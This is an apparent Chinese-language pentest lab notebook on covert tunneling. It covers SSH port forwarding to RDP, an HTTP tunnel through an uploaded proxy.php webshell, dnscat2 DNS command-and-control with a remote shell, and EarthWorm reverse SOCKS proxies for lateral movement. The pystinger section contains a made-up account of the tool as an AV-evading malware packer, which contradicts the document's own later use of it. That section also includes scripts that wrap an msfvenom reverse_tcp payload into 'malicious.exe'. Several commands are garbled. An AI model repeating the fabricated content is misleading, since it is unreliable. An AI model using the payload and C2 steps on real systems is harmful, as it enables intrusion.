应用层隧道技术概述
应用层隧道技术是一种在网络通信中使用特定的应用层协议来封装其他协议数据包的方法,从而实现在不允许直接通信的网络环境下的数据传输。这些隧道技术利用某些应用层协议(如SSH、HTTP、HTTPS、DNS等)的特点,将原本不能通过防火墙或其他网络限制的数据包进行封装,使其看起来像是正常的应用层协议数据,从而绕过网络限制,实现数据的安全传输。
常用的应用层隧道技术
- SSH隧道:
- 利用SSH协议来传输数据,SSH隧道可以在防火墙允许SSH通信的情况下,将其他协议的数据封装在SSH协议中进行传输。
- 常用的SSH隧道包括本地端口转发(-L选项)、远程端口转发(-R选项)和动态端口转发(-D选项)。
- HTTP隧道:
- 使用HTTP协议来封装数据,通常利用HTTP的CONNECT方法来建立隧道。
- 适用于防火墙允许HTTP通信的场景。
- HTTPS隧道:
- 使用HTTPS协议来封装数据,利用HTTPS的加密特性来保证数据的安全性。
- 适用于需要加密传输的场景。
- DNS隧道:
- 使用DNS协议来封装数据,通过DNS查询和响应来传递数据。
- 适用于防火墙允许DNS通信的场景。
应用层隧道技术的优缺点
优点
- 绕过防活墙限制:应用层隧道技术可以利用防火墙允许的标准应用层协议进行数据传输,从而绕过防活墙的限制。
- 数据加密:部分应用层隧道技术(如SSH、HTTPS)可以提供数据加密功能,保证数据传输的安全性。
- 灵活性:可以根据不同的网络环境和需求选择合适的应用层隧道技术。
缺点
- 性能开销:隧道技术通常会增加数据传输的延迟和带宽消耗。
- 复杂性:配置和维护隧道技术可能需要较高的技术水平。
- 安全性问题:如果不正确地配置隧道技术,可能会引入新的安全风险。
实际应用
应用层隧道技术在实际网络环境中有着广泛的应用,例如:
- 远程访问:通过SSH隧道远程访问内网资源。
- 网络安全测试:在渗头测试中,使用HTTP或DNS隧道绕过防活墙进行测试。
- 数据加密传输:使用HTTPS隧道保证数据传输的保密性和完整性。
总之,应用层隧道技术是一种强大的网络通信工具,能够在复杂的网络环境中实现数据的安全传输。然而,使用这些技术时需要充分考虑其性能和安全性影响,并进行合理的配置和管理。
ssh本地端口转发
隐蔽隧道技术(Covert Tunneling Techniques)是渗头测试和网络安全领域中常用的技术之一,它利用常见的网络协议(如 SSH)来创建隐蔽的通信通道。SSH 本地端口转发(Local Port Forwarding)是一种常用的隐蔽隧道技术,它允许用户在本地机器上打开一个端口,并将该端口上的所有流量转发到远程服务器上的指定端口。
SSH 本地端口转发的基本原理
SSH 本地端口转发的基本原理是在本地机器上监听一个端口,并将该端口上的所有流量转发到远程服务器上的指定端口。这种方式可以绕过本地网络的防火墙或 NAT 设备,使得本地机器可以直接访问远程服务器上的服务。
SSH 本地端口转发的命令格式
SSH 本地端口转发的基本命令格式如下:
1ssh -L <local_port>:<remote_host>:<remote_port> <username>@<remote_host>
<local_port>
:本地机器上监听的端口号。<remote_host>
:远程服务器的地址。<remote_port>
:远程服务器上目标服务的端口号。<username>
:远程服务器上的用户名。<remote_host>
:远程服务器的 IP 地址或域名。
示例场景
假设你需要访问位于内网的一台服务器,该服务器的 IP 地址为 192.168.1.100
,并且该服务器上运行着一个 MySQL 数据库服务,监听在端口 3306
。但由于防火墙或其他网络限制,你无法直接从外部网络访问该服务器。
1. 启动 SSH 本地端口转发
你可以在你的本地机器上启动 SSH 本地端口转发,将本地端口 1234
上的流量转发到远程服务器 192.168.1.100
的端口 3306
上。
1ssh -L 1234:192.168.1.100:3306 user@10.0.0.5
这里的 10.0.0.5
是你能够直接访问的 SSH 服务器的地址,它作为跳板机(Jump Host)来转发流量。
2. 验证连接
一旦 SSH 会话建立成功,你就可以通过本地机器上的端口 1234
来访问远程服务器上的 MySQL 数据库服务。
1mysql -h 127.0.0.1 -P 1234 -u your_username -p
更多选项
SSH 提供了更多的选项来增强本地端口转发的功能:
- 使用
-N
选项:
- 如果你只想进行端口转发,而不启动一个交互式 shell 会话,可以使用
-N
选项。
ssh -N -L 1234:192.168.1.100:3306 user@10.0.0.5
- 使用
-f
选项:
- 如果你希望在后台运行 SSH 会话,可以使用
-f
选项。
ssh -f -N -L 1234:192.168.1.100:3306 user@10.0.0.5
- 使用
-g
选项:
- 如果你希望允许其他用户通过本地端口转发连接到远程服务器,可以使用
-g
选项(允许网关)。
ssh -f -N -g -L 1234:192.168.1.100:3306 user@10.0.0.5
高级用法
SSH 本地端口转发不仅可以用于单一跳板机的情况,还可以用于多跳场景。例如,如果你需要通过多个跳板机来访问最终的目标服务器,可以依次启动多个 SSH 会话。
多跳转发示例
假设你需要通过两个跳板机 10.0.0.5
和 10.0.0.10
来访问内网服务器 192.168.1.100
上的 MySQL 服务。
- 启动第一个 SSH 会话:
ssh -N -L 4321:10.0.0.10:1234 user@10.0.0.5
- 启动第二个 SSH 会话:
ssh -N -L 1234:192.168.1.100:3306 user@10.0.0.10
- 验证连接:
mysql -h 127.0.0.1 -P 4321 -u your_username -p
安全注意事项
在使用 SSH 本地端口转发时,需要注意以下几点:
- 加密通信:
- 确保使用 SSH 的加密功能来保护数据传输的安全。
- 身份验证:
- 使用强密码或公钥认证来确保 SSH 会话的安全性。
- 防火墙规则:
- 配置防火墙规则,确保只有必要的端口被开放,并且流量被正确过滤。
- 日志记录:
- 记录 SSH 的使用情况,以便在发生安全事件时进行审计。
- 权限管理:
- 确保只有授权的用户可以使用 SSH 进行端口转发,并且有足够的权限启动端口转发。
总结
SSH 本地端口转发是一种强大的隐蔽隧道技术,可以用于在网络之间建立隐蔽的通信通道。通过 SSH 的强大功能,你可以轻松地绕过本地网络的限制,并安全地访问远程服务器上的服务。
练习
SSH(Secure Shell)隧道是一种常用的技术,用于在不安全的网络上建立安全的连接。SSH隧道可以用于多种用途,如端口转发、代理等。您提到的参数是SSH命令中常用的几个选项,下面是对这些参数的详细解释:
SSH 隧道参数
- -C: 压缩传输
- 功能: 开启数据压缩,减少传输的数据量,提高传输效率。这对于带宽受限的网络环境特别有用。
- 示例:
ssh -C user@remotehost
- -f: 后台运行
- 功能: 使SSH连接在后台运行,这样即使你关闭了终端窗口,连接也会继续保持。通常与
-N
一起使用。 - 示例:
ssh -f user@remotehost
- -N: 静默连接
- 功能: 不执行任何命令,只是建立连接。通常与
-f
一起使用来建立持久的SSH隧道。 - 示例:
ssh -fN user@remotehost
- -L: 本地端口转发
- 功能: 将远程主机上的指定端口映射到本地主机上的指定端口。格式为
-L localport:host:remoteport
。 - 示例:
ssh -L 8080:remotehost:80 user@remotehost
- 这样就可以通过本地的8080端口访问远程主机上的80端口的服务。
- -R: 远程端口转发
- 功能: 将本地主机上的指定端口映射到远程主机上的指定端口。格式为
-R remoteport:host:localport
。 - 示例:
ssh -R 8080:localhost:80 user@remotehost
- 这样就可以通过远程主机上的8080端口访问本地主机上的80端口的服务。
- -D: 动态转发
- 功能: 创建一个SOCKS代理服务器,可以用来绕过防活墙或代理服务器。格式为
-D localport
。 - 示例:
ssh -D 1080 user@remotehost
- 创建一个本地端口1080的SOCKS代理,可以用于浏览器或其他应用程序来绕过本地防火墙。
- -g: 允许远程主机连接
- 功能: 当使用
-L
或-R
选项时,允许远程主机连接到绑定的端口。如果不使用-g
,默认情况下只有建立SSH连接的客户端可以连接到转发的端口。 - 示例:
ssh -gL 8080:remotehost:80 user@remotehost
- 这样允许其他远程主机也能通过本地8080端口访问远程主机上的80端口的服务。
示例组合使用
结合使用这些选项可以创建复杂的SSH隧道配置。例如,创建一个后台运行的本地端口转发SSH隧道:
ssh -fC -NL 8080:remotehost:80 user@remotehost
这个命令将会:
- 在后台运行 (
-f
); - 开启数据压缩 (
-C
); - 不执行任何命令 (
-N
); - 设置一个本地端口转发 (
-L
),将本地的8080端口映射到远程主机的80端口; - 用户名是
user
,远程主机地址是remotehost
。
通过这种方式,你可以在后台持续运行一个SSH隧道,同时保持数据传输的高效性和安全性。
首先先来到kali,修改ssh服务器的配置文件
nano /etc/ssh/sshd_config
首先去掉port 22前面 的#注释符
然后就是将后面的permit 这个通过root进行登录选择为yes
还要一个这个参数就是通过密码进行登录,在这里修改完成这三个参数之后,保存文件,重启shh服务
service sshd restart#重启命令
输入之后就可以了,告警忽略就可以了。
ssh -fcNg -L 10010:192.168.80.104:3389 root@172.17.17.104
SSH命令是一个典型的用于建立端口转发的命令,尤其是在需要通过SSH隧道访问远程服务的情况下。让我们逐个参数解释这条命令:
ssh -fcNg -L 10010:192.168.80.104:3389 root@172.17.17.104
参数解释
- -f: 后台运行
- 功能: 使SSH连接在后台运行。这意味着即使您关闭了终端窗口,连接也会继续维持。通常与
-N
一起使用,以建立持久的SSH隧道。
- -c: 指定加密算法
- 功能: 指定SSH连接时使用的加密算法。然而,在OpenSSH 6.5之后,默认情况下不支持直接通过命令行指定加密算法。如果您希望指定加密算法,需要在
sshd_config
或客户端配置文件中设置。如果这里的-c
后面跟的是一个有效的加密算法名称,则它将尝试使用该算法进行加密。
- -N: 静默连接
- 功能: 不执行任何命令,只是建立连接。通常与
-f
一起使用来建立持久的SSH隧道。
- -g: 允许远程主机连接
- 功能: 当使用
-L
或-R
选项时,允许远程主机连接到绑定的端口。如果不使用-g
,默认情况下只有建立SSH连接的客户端可以连接到转发的端口。
- -L: 本地端口转发
- 功能: 将远程主机上的指定端口映射到本地主机上的指定端口。格式为
-L localport:host:remoteport
。这里的10010:192.168.80.104:3389
表示将本地端口10010映射到远程主机192.168.80.104
的3389端口。
- root@172.17.17.104: 指定SSH连接的目标主机和用户。
- 功能: 连接到IP地址为
172.17.17.104
的远程主机,并使用用户名root
进行认证。
整体命令的作用
这条命令的作用是建立一个从本地到远程主机的端口转发隧道,具体来说:
- 后台运行:SSH连接将在后台运行,即使关闭终端窗口也不会断开连接。
- 不执行任何命令:建立SSH连接后不执行任何命令。
- 允许远程主机连接:允许其他远程主机也能通过本地10010端口连接到远程主机
192.168.80.104
的3389端口。 - 本地端口转发:将本地主机的端口10010映射到远程主机
192.168.80.104
的3389端口。 - SSH连接:使用用户名
root
连接到IP地址为172.17.17.104
的远程主机。
实际应用场景
这条命令可能的应用场景之一是通过SSH隧道访问远程主机上的某个服务。例如,如果您需要通过SSH隧道访问位于192.168.80.104
的远程主机上的RDP服务(默认端口为3389),则可以通过这条命令在本地计算机上打开端口10010,并通过该端口访问远程主机的RDP服务。
netstat -anptl |grep 10010 #查看10010端口是否开启,可以看到现在已经是监听状态。
rdesktop连接本地端口转发,转发的端口是10010
rdesktop 127.0.0.1:10010
稍等一会儿后弹出一个提示,问你是否可以信任这个证书,输入yes即可。
然后就可以弹出远程链接,远程桌面的窗口
有的使用防火墙的话,可能需要修改一下规则,让Ubuntu和winserver能够ping到win10虚拟机。
如果不用防火墙可以把三个防火墙的端口改成NAT即可,实验的时候就改成NAT网卡就可以。
ssh远程端口转发
测试环境是三台机器组成的小型内网,并且没有边界设备。所以我们外部的公鸡机器是不能访问内部网络的,但是可以通过web提权来访问内网。现在我们假设通过外网的vps来访问我们这个内网Windows的3389端口给他转发出去。
他的命令和本地端口转发的命令是类似的,只不过他的执行位置发生了变化,对应的命令也会发生一些小改变。
SSH远程端口转发(Remote Port Forwarding)是一种通过SSH隧道将本地主机的端口流量转发到远程主机上的另一个端口的技术。这种技术在很多场景下非常有用,比如当需要访问位于防火墙后面的服务器时,或者当需要通过安全的SSH隧道访问某个服务时。
基本概念
- 远程端口转发:指的是将本地主机上的端口流量通过SSH隧道转发到远程主机上的另一个端口。这样做的好处是可以绕过中间的防火墙或路由器限制,确保数据传输的安全性。
SSH远程端口转发参数
SSH远程端口转发使用-R
选项。其语法格式如下:
-R [bind_address:]remote_port:host:host_port
其中:
remote_port
:远程主机上开放的端口。host:host_port
:指定要转发的目的地址和端口。这里的host
可以是IP地址或域名,host_port
是要转发到的端口。
示例
假设您需要访问位于远程服务器remotehost
上的一个服务,该服务监听在端口3389
上,而您的本地计算机的IP地址为192.168.1.100
。您希望将远程服务器的3389
端口转发到本地计算机的10010
端口。可以通过以下命令实现:
1ssh -fN -R 10010:localhost:3389 user@remotehost
参数解释
- -f: 后台运行
- 功能: 使SSH连接在后台运行。这意味着即使您关闭了终端窗口,连接也会继续维持。通常与
-N
一起使用,以建立持久的SSH隧道。
- -N: 静默连接
- 功能: 不执行任何命令,只是建立连接。通常与
-f
一起使用来建立持久的SSH隧道。
- -R: 远程端口转发
- 功能: 将本地主机上的指定端口映射到远程主机上的指定端口。格式为
-R remoteport:host:hostport
。 - 示例:
-R 10010:localhost:3389
表示将本地端口10010
映射到远程主机上的3389
端口。
- user@remotehost: 指定SSH连接的目标主机和用户。
- 功能: 连接到IP地址为
remotehost
的远程主机,并使用用户名user
进行认证。
整体命令的作用
这条命令的作用是建立一个从远程主机到本地主机的端口转发隧道,具体来说:
- 后台运行:SSH连接将在后台运行,即使关闭终端窗口也不会断开连接。
- 不执行任何命令:建立SSH连接后不执行任何命令。
- 远程端口转发:将本地计算机的端口
10010
映射到远程主机上的3389
端口。 - SSH连接:使用用户名
user
连接到IP地址为remotehost
的远程主机。
实际应用场景
这条命令可能的应用场景之一是通过SSH隧道访问远程主机上的某个服务。例如,如果您需要通过SSH隧道访问位于远程主机上的RDP服务(默认端口为3389),则可以通过这条命令在本地计算机上打开端口10010
,并通过该端口访问远程主机的RDP服务。
注意事项
- 安全性: 由于使用了
-N
选项,该命令不会执行任何命令,仅建立连接。因此,确保该命令仅用于合法和授权的用途。 - 防火墙和网络配置: 确保您的本地和远程主机的防火墙规则允许相应的端口转发。
- SSH配置: 确保SSH服务器配置允许远程端口转发。
示例演示
假设您需要通过SSH隧道访问远程主机上的MySQL数据库(端口3306
),并且希望将该服务映射到本地端口10006
,可以使用以下命令:
ssh -fN -R 10006:localhost:3306 user@remotehost
执行上述命令后,您可以在本地通过localhost:10006
访问远程主机上的MySQL服务。
kali的ssh配置文件查看一下
ssh -fcNg -R 10020:192.168.80.104:3389 p0sen@172.17.17.106
sudo nano /etc/ssh/sshd_config
吧之前的步骤在做一遍,然后重启一下ssh服务
systemctl restart ssh
输入 yes然后输入kali的密码
netstat -anptl |grep 10030
查看一下10030端口的状态
然后输入下面命令就可以进入到远程桌面了
rdesktop 127.0.0.1:10030
进入到了远程桌面
本地转发是把我们远程主机的某个端口数据转发到我们本地机器的一个指定端口
远程端口转发则是在外面远程主机上监听一个端口,然后我们所有访问服务器的数据都会通过这个ssh传回到我们本地对应的端口。
应用层隧道-HTTP隧道
pystinger毒刺工具
主题是使用python开发的,下载地址是https://github.com/FunnyWolf/pystinger
目前支持三支主流的脚本,PHP、GSP、ASP
pystinger
(也称为“毒刺”工具)是一个Python编写的工具,主要用于生成包含恶意负载的可执行文件(如Windows可执行文件.exe
),并且可以用于绕过一些基础的反病独检测。这个工具常被用于渗投测试和红队操作中,但需要注意的是,任何用于绕过安全检测的工具都存在滥用的风险,因此使用时必须确保在合法和授权的范围内。
pystinger的基本使用方法
安装pystinger
首先,确保您已经安装了pystinger
。如果尚未安装,可以通过以下命令安装:
pip install pystinger
基本命令
pystinger
的基本使用命令格式如下:
pystinger --payload <payload> --output <output_file> [--icon <icon_path>] [--arch <architecture>] [--encrypt] [--compress]
参数说明
--payload
:指定要包含的恶意负载文件路径。这通常是通过Metasploit或其他工具生成的shellcode文件。--output
:指定生成的可执行文件的输出路径。--icon
:指定一个图标文件路径,用于更改生成的可执行文件的图标。--arch
:指定生成的可执行文件的目标架构,默认为x86
,也可以指定为x64
。--encrypt
:启用加密选项,对生成的可执行文件进行加密。--compress
:启用压缩选项,对生成的可执行文件进行压缩。
假设您已经安装了pystinger
工具,以下是一些基本的命令使用示例:
生成一个简单的可执行文件
python pystinger.py --payload <payload> --output <output_file>
--payload
:指定要包含的恶意负载,可以是Metasploit生成的shellcode或者其他形式的恶意代吗。--output
:指定生成的可执行文件的名称和路径。
添加图标
python pystinger.py --payload <payload> --output <output_file> --icon <icon_path>
--icon
:指定一个图标文件的路径,用于更改生成的可执行文件的图标。
指定架构
python pystinger.py --payload <payload> --output <output_file> --arch <architecture>
--arch
:指定生成的可执行文件的目标架构,如x86
或x64
。
使用Metasploit生成的Shellcode
假设您已经使用Metasploit生成了适用于Windows x86架构的shellcode,现在想使用pystinger
将其打包成一个可执行文件:
# 使用Metasploit生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f raw > shellcode.bin
# 使用pystinger将shellcode打包成可执行文件
python pystinger.py --payload shellcode.bin --output output.exe --arch x86
示例脚本1
以下是一个完整的示例脚本,用于生成一个包含Metasploit shellcode的可执行文件,并指定图标:
#!/bin/bash
# 生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shellcode.bin
# 使用pystinger生成可执行文件
python pystinger.py --payload shellcode.bin --output malicious.exe --icon icon.ico --arch x86
# 清理临时文件
rm shellcode.bin
echo "Malicious executable generated successfully."
示例用法
生成一个简单的可执行文件
假设您已经使用Metasploit生成了一个适用于Windows x86架构的shellcode文件shellcode.bin
,现在想使用pystinger
将其打包成一个可执行文件:
# 生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shellcode.bin
# 使用pystinger生成可执行文件
pystinger --payload shellcode.bin --output malicious.exe --arch x86
添加图标
如果希望生成的可执行文件具有特定的图标,可以使用--icon
参数指定图标文件:
pystinger --payload shellcode.bin --output malicious.exe --icon icon.ico --arch x86
加密和压缩
如果希望生成的可执行文件被加密和压缩,可以使用--encrypt
和--compress
参数:
pystinger --payload shellcode.bin --output malicious.exe --icon icon.ico --arch x86 --encrypt --compress
示例脚本2
以下是一个完整的示例脚本,用于生成一个包含Metasploit shellcode的可执行文件,并指定图标:
#!/bin/bash
# 生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shellcode.bin
# 使用pystinger生成可执行文件
pystinger --payload shellcode.bin --output malicious.exe --icon icon.ico --arch x86 --encrypt --compress
# 清理临时文件
rm shellcode.bin
echo "Malicious executable generated successfully."
注意事项
- 合法性:使用此类工具时必须确保在合法授权的环境中进行。未经授权的恶意软件传播是违法行为。
- 安全性:生成的可执行文件可能被安全软件检测为恶意文件,因此在实际使用中需要谨慎。
- 测试环境:在真实环境中使用之前,应在隔离的测试环境中充分测试生成的可执行文件,确保其行为符合预期。
- 道德责任:作为安全专业人员,应始终遵循道德规范,确保自己的行为不会危害他人的利益。
现在我们已经下载好了,查看一下ls -R,一共是四个proxy.aspx proxy.jsp proxy.jspx proxy.php
靶机是win10,起了一个网站
浏览器打开一下页面测试
将proxy.php和stinger_server.exe这两个提前上传到win10上面web服务端根目录下面
确保这个proxy.php在web端是可以访问的
如果这个proxy.php一切正常的话就会输出这个utf-8的输出提示信息
start stinger server.exe
上传之后我们还需要运行一下这个exe程序,因为是在实验环境中所以在cmd运行了
实战中还需在蚁剑、菜刀、冰蝎连接使用
kali这边需要通过
./stinger_client -w http://192.168.146.210/proxy.php -l 0.0.0.0 -p 10000
./stinger_client -w http://192.168.146.210/proxy.php -l 0.0.0.0 -p 10000
这个命令是用来启动一个名为 stinger_client
的程序,并设置其工作参数。下面是各个选项的含义:
./stinger_client
:这是命令的主体部分,表示运行名为stinger_client
的程序。这里的./
表示当前目录下的可执行文件。-w http://192.168.146.210/proxy.php
:这个选项用来指定一个Web代理的URL。在这个例子中,http://192.168.146.210/proxy.php
是一个PHP脚本的位置,它作为客户端与服务器之间的代理。这通常用于在客户端和服务器之间转发数据或者请求。-l 0.0.0.0
:这个选项用来指定监听的IP地址。0.0.0.0
表示绑定到所有的网络接口上,即接收来自任何IP地址的数据包。-p 10000
:这个选项用来指定监听的端口号。这里设定为10000
端口。
综合起来,这条命令的作用是启动 stinger_client
并配置它作为一个监听器,在所有网络接口上的 10000
端口监听传入的连接,并将这些连接转发给 http://192.168.146.210/proxy.php
进一步处理。
这个插件可以在浏览器插件里搜索安装
按照上图填写内容
打开一个网页挂上毒刺代理
接下来通过kali端的终端信息就可以判断是成功的走了这台Windows的代理
在真实的环境中可能会走到win10代理然后去通过win10代理去访问内网的服务,就可以用到这种http隧道的代理方法。
DSN协议隧道
在内网渗投测试中,DNS协议隧道是一种利用DNS协议进行隐蔽通信的技术。由于大多数企业防火墙允许DNS流量进出网络(因为阻止DNS流量会导致内部计算机无法解析域名),因此利用DNS协议进行隧道通信可以在不被检测的情况下传输数据。
DNS协议隧道的工作原理大致如下:
- DNS请求发送:客户端通过DNS请求向服务器发送编码后的数据。这些请求通常包含在DNS查询的名称部分。
- DNS响应解析:服务器接收到请求后,解码数据并做出相应的回应。回应通常也经过编码,通过DNS响应报文返回给客户端。
在内网渗投测试中,DNS隧道可以用来:
- 数据泄露:将敏感数据编码并通过DNS请求发送出去。
- 命令与控制(C2):公鸡者可以通过DNS请求发送命令到受感染的机器,受感染机器再通过DNS响应返回执行结果。
- 内部侦察:收集内部网络信息,如主机名、IP地址等。
实现工具
有一些工具可以用来建立DNS隧道,如:
- DNSTunnel:这是一个开源工具,可以用来创建DNS隧道,允许通过DNS进行隐蔽的TCP/IP通信。
- DNS2TCP:这是一个简单的工具,可以将TCP流量封装在DNS请求中。
- Tunna:另一个用于创建DNS隧道的工具。
使用示例
这里提供一个简化的例子来说明如何使用一个假想的工具(例如 Tunna
)来建立一个DNS隧道:
客户端配置
tunna client -d example.com -r 80
这个命令会在客户端上启动一个DNS隧道,指向域名 example.com
,并使用默认的DNS端口(53),但是通过HTTP端口(80)来发送请求。
服务器端配置
tunna server -i 0.0.0.0 -p 53
这个命令会在服务器上启动一个监听所有接口(0.0.0.0
)上的DNS请求的服务,并监听标准的DNS端口(53)。
直连速度相对快,但是安全性比较低。非直连模式速度较慢,但是安全性较高。
dnscat2工具
dnscat2是一个用于通过DNS协议创建加密命令和控制(C&C)通道的工具。以下是一些常见的使用方式:
1. 搭建dnscat2隧道
步骤1:部署域名解析
- 使用一台公网的Linux系统的VPS作为C&C服务器,并准备好一个可以配置的域名(例如:hack.com)。
- 配置域名的A记录,将域名解析到VPS服务器地址。
- 验证域名解析设置是否成功。
步骤2:安装dnscat2服务端
- 克隆dnscat2仓库:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
2.安装必要的 gems:
gem install bundler
bundle install
步骤3:在目标主机上安装dnscat2客户端
- 对于Windows系统,可以直接使用编译好的dnscat2客户端,或者使用PowerShell版本的dnscat2。
- 对于Linux系统,需要在目标机器上执行如下命令安装客户端:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
步骤4:测试客户端和服务端的连通性
- 服务器端执行:
ruby ./dnscat2.rb test.hack.com -e open -c root@123456 --no-cache
2.客户端执行:
dnscat2-v0.07-client-win32.exe --dnsdomain=test.hack.com --secret=root@123456
2. 建立DNS隧道
服务端配置
- 启动服务端:
ruby dnscat2.rb -d <domain> -k <api_key> -p <port>
- 其中,
<domain>
是你的域名,<api_key>
是预共享密钥,<port>
是服务端监听的端口。
客户端配置
- 启动客户端:
dnscat2.exe --dns-server=<server_ip>,port=<port> --secret=<api_key>
- 其中,
<server_ip>
是服务端IP地址,<port>
是服务端监听的端口,<api_key>
是预共享密钥。
3. 执行命令和控制
服务端
- 查看会话:
sessions
- 进入会话:
session -i <session_id>
- 执行命令:
exec <command>
客户端
- 连接到服务端:
dnscat2.exe --dns-domain=<domain> --secret=<api_key>
其中,<domain>
是你的域名,<api_key>
是预共享密钥。
4. 注意事项
- 确保服务端和客户端的密钥一致。
- 确保服务端的域名解析正确。
- 确保服务端的53端口开放。
通过以上步骤,你可以使用dnscat2创建一个隐蔽的C&C通道,进行命令执行和数据传输。
kali端初次下载是没有dnscat这个运行工具的
我们要运行make命令去进行编译
然后这里就会出来dnscat可执行程序
dnscat2/server下
配置rb的环境
sudo gem install bundler
sudo apt install ruby-dev -y
duso bundle install
ruby dnscat2.rb
复制红色框中的key
复制到这里运行 ./dnscat --dns server=192.168.146.190,port=53 --secret=key
可以看到回显成功,就是会话创建成功了
这边就提示有一个新的会话已经创建
就可以用Windows命令了
window -i 1
就可以执行Windows命令,用的命令可以通过help查看
创建shell会话
shell
session created !提示我们创建shell会话
suspend #退出当前会话
windows #就可以看到有一个shell弹回来了
window -i 2
这样就进入到了shell里面
进入到wirshark里抓包可以看到所有协议都是dns协议
可以看到这里所有的数据包除了特征明显的dnscat2以外,没有其他明显的公鸡特征。他的内容都进行了加密的,他的主要特征就是解析的域名过长,他的三级域名里会有这个通信的数据
通过这里可以看到解析的域名特别的长,他是一个随机的编码字符串加密的。
socks代li
内网横向移动(Domain Horizontal)是指在渗投测试过程中,公鸡者在一个内部网络中获得了某个主机的控制权后,通过该主机进一步控制同一网络内的其他主机的技术。SOCKS代理在这种情境中可以用来在内网中建立一个代理通道,使得公鸡者能够通过已控制的主机访问和控制其他内网主机。
SOCKS代理是一种通用的代理协议,可以在传输层上代理各种协议的请求,包括HTTP、FTP、SMTP等。它能够在客户端和目标服务器之间建立连接,并将数据包通过代理服务器进行转发。SOCKS5相比SOCKS4具有更多的功能和安全性,支持更多的认证方法,且能够进行远程DNS解析。
在内网横向移动中,SOCKS代理的使用通常涉及以下几个步骤:
- 获取初始立足点:公鸡者首先需要通过某种方式获得内网中某台主机的控制权。
- 安装SOCKS代理:在控制的主机上安装并配置SOCKS代理服务器。这台主机将成为其他内网主机访问的代理。
- 配置客户端:公鸡者需要在想要控制的其他内网主机上配置客户端,使其通过SOCKS代理服务器进行连接。
- 建立连接:通过SOCKS代理服务器,公鸡者可以从已控制的主机发起连接到其他内网主机,绕过直接连接可能遇到的网络限制或防火墙规则。
- 执行操作:一旦建立了通过SOCKS代理的连接,公鸡者就可以在其他内网主机上执行各种操作,如运行命令、窃取数据或进一步横向移动。
EarthWorm
EarthWorm
https://github.com/root%23kiter/EarthWorm
reGeorg
https://github.com/sensepost/reGeorg
sSocks
SocksCap64
https://www.sockscap64.com/forums/topic/sockscap64-v3-3
Proxiher
ProxyChains
EarthWorm是一款强大的内网穿透工具,具有socks5代理、端口转发和端口映射等功能。以下是其使用方法及示例:
使用方法
EarthWorm提供了多种命令格式来实现不同的功能。以下是一些常见的命令格式:
- 正向SOCKSv5服务器
./ew -s ssocksd -l 1080
这将在本地启动一个SOCKSv5代理服务器,监听在1080端口。
- 反弹SOCKSv5服务器 这个操作需要在两台机器上进行:
- 在具有公网IP的主机A上运行以下命令:
./ew -s rcsocks -l 1080 -e 8888
- 在目标主机B上运行以下命令:
./ew -s rssocks -d 1.1.1.1 -e 8888
- 其中,
1.1.1.1
是主机A的公网IP地址。
- 多级级联 EarthWorm还支持多级级联的端口转发。以下是一个简单的例子:
./ew -s lcx_listen -l 1080 -e 8888
./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
这些命令可以将处于网络深层的基于TCP的服务转发至前端。
使用示例
以下是一些具体的使用示例:
- 本地测试
- 目标机器:
ew.exe -s rssocks -d 2.2.2.2 -e 888
其中,2.2.2.2
是想要反弹到的机器的IP地址。 - 公鸡机器:
ew_for_Win.exe -s rcsocks -l 1008 -e 888
这将在公鸡机器上启动一个SOCKSv5代理服务器,监听在1008端口,并将数据转发到目标机器的888端口。
- 公网IP测试
- 目标机器:
ew_for_Win.exe -s rssocks -d 192.168.62.128 -e 888
其中,192.168.62.128
是目标机器的IP地址。 - 公鸡机器:
ew_for_Win.exe -s rcsocks -l 1008 -e 888
这将在公鸡机器上启动一个SOCKSv5代理服务器,监听在1008端口,并将数据转发到目标机器的888端口。
总结
EarthWorm是一款非常强大的内网穿透工具,支持多种功能和命令格式。通过合理的配置和使用,可以实现复杂的网络穿透和端口转发需求。
使用方法示例
这个工具是提前下载并在靶机上也上传了一个
六种命令格式
EarthWorm是一款功能强大的网络穿透工具,提供了六种不同的命令格式来满足各种使用场景。以下是这六种命令格式的简要介绍:
- sssocksd:
- 用途:建立一个SOCKSv5代理服务器。
- 示例:
./ew -ssssocksd -l 1080
- 说明:此命令会在本地启动一个SOCKSv5代理服务器,监听在1080端口。
- rcsocks:
- 用途:建立一个本地代理客户端,用于反弹连接。
- 示例:
./ew -srcsocks -l 1080 -e 8888
- 说明:此命令会创建一个本地代理客户端,监听在1080端口,并将连接反弹到远程服务器的8888端口。
- rssocks:
- 用途:建立一个本地代理服务端,用于接收反弹连接。
- 示例:
./ew -srssocks -d 192.168.1.1 -e 8888
- 说明:此命令会创建一个本地代理服务端,等待来自192.168.1.1的反弹连接,并将连接转发到8888端口。
- lcx_listen:
- 用途:监听本地端口,接收数据并转发到目标网络回连的代理提供主机。
- 示例:
./ew -slcx_listen -l 1080 -e 8888
- 说明:此命令会监听在1080端口,接收数据并将数据转发到8888端口。
- lcx_slave:
- 用途:作为slave节点,接收并处理来自lcx_listen的转发数据。
- 示例:
./ew -slcx_slave -d 192.168.1.1 -e 8888 -f 10.0.0.7 -g 9999
- 说明:此命令会作为slave节点,接收来自192.168.1.1的转发数据,并将数据转发到10.0.0.7的9999端口。
- lcx_tran:
- 用途:作为转发节点,接收并处理来自lcx_listen的转发数据。
- 示例:
./ew -slcx_tran -l 1080 -f 10.0.0.7 -g 9999
- 说明:此命令会作为转发节点,监听在1080端口,接收数据并将数据转发到10.0.0.7的9999端口。
这些命令格式可以根据实际需求进行组合和配置,以实现复杂的网络穿透和数据转发任务。
修改一下配置文件
首先注释掉socks5 172.17.17.1 7890
然后写入
socks5 192.168.146.186 888
正向连接的一种方式
./ew_for_linux -s ssocksd -l 888
连接不做演示
proxychains -q git clone https://github.com/L-codes/Neo-reGeorg.git
反向连接,首先在kali上运行这个ew
指定rcsocks 监听端口1008 转发端口999
./ew_for_linux-s ssocks -l 1008 -e 999
reGeorg
